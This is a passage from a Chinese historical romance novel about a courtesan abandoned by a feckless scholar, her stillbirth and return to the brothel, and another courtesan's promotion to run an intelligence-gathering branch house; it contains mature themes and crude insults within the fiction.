  别人这才知道,那柳满扬是个没骨头的软脚虾,不敢把梅笙带回江南,只在京城租了个院子安顿她,不久,梅笙发现自己怀孕,本来是件大好事,但柳满扬不事生产,两人花钱又大手大脚,没多久就见了底,柳满扬写信回去要钱,家里听说他在京城天天眠花宿柳导致名落孙山,一怒之下断了他的经济来源。梅笙只好自己贴钱,就当养了个小白脸,心里想着等老娘的肚子争气,一举得男,难道柳家还敢不认吗?
  但两人生活久了,柳满扬的一些怪癖也显露出来,没多久就对大腹便便的梅笙失去了性趣,要她去和别的男人搞给自己看,梅笙气得破口大骂:“我和你做夫妻,你却还是把我当妓女!”柳满扬清醒过来之后,早就后悔自己纳了一个破鞋,与名妓春风一度是风流韵事,把妓女弄回家就是脑残了,以后哪里还能娶到京城的贵族小姐!柳满扬怒火中烧,回骂她:“不要脸的贱货,早就被千人骑万人睡了,还在这给我装纯!肚子里的孩子谁知道是哪来的野种!爷爷看上你是你的福气!让你伺候爷还推三阻四的!”
  两人大吵一架,柳满扬夺门而出,从此继续流连烟花巷中,没钱了就回家找梅笙要,梅笙不肯给,他便自己翻箱倒柜地抢,金山银山也不够他花的,很快梅笙这些年的卖身钱也被挥霍得一干二净。
  他倒是想回头找玩得开的贺时晴,但以他现在有的钱,连贺时晴的鞋子都摸不到。
  这时柳家来了一封信,给他在老家说了门亲事,只要他回头是岸,离开这边来路不明的女人,照样可以回家做他的纨绔公子,柳满扬想都没想,头也不回地就抛弃梅笙走了。
  梅笙自己把孩子生下来,是个儿子,却是个死胎,一生下来就满脸青紫,不过是一团死肉。这下最后一丝希望也破灭了,只好再回云雨楼,好歹有口饭吃。
  怀璧也是感慨不已:“当初劝你不要相信他,这种人不把女人当人看,别说你是妓女从良,就算是黄花大闺女嫁给他,若是挡住了他逍遥快活,也是一脚踢开!”
  梅笙大哭道:“我哪知道那人一副斯文俊雅的样子,内里居然如此薄情狠毒!可怜我的孩儿,我做鬼也不放过他!”
  怀璧安顿了她,又去找贺时晴,贺时晴叹气道:“那柳满扬就是一个自私狭隘之人,自己没半点本事,靠着家世耀武扬威,金玉其外败絮其中,万一那层金玉被剥下去了,本性就暴露无疑。这种草包公子哥,我小时候是见得多了,靠男人哪比得上自己手里有钱。梅笙也是为了同我比个高下,这么简单的道理都没有看清。我不反对她继续在云雨楼,但我也不会帮她。”周仲文,贺武,乃至于贺老爷,哪一个不是如此呢。
  怀璧自然答应,何况梅笙的相貌也比不得从前,只能接一些低档次的客人了,不过经过这一遭历练,梅笙心性大变,觉得自己之前争强好胜真是可笑,日子倒也过得去。
  果然,半年之后,听说柳满扬酒后失手,把新婚妻子砸死了,女方家有财有势,闹得不可开交,柳满扬被判了流放,大枷一带,发配去了边疆。
  不久之后,云雨楼楼主与公主暗中达成了协议,在全国各地开设合法妓院,为收集情报作掩护。贺时晴自然是派去西南的最佳人选,于是一举从头牌,跃升到了分楼主,她打点行装,各种绫罗绸缎金银首饰装了几大马车,一行人浩浩荡荡地告别京城的姐妹们,往西南去了。
  路过城外的一座荒山时,她仿佛远远看见一个少年,穿着粗布衣服,却极为俊美,笑嘻嘻地对她挥手,依稀是当年交出了她第一次的那美少年,但再看去,却又没有任何人了。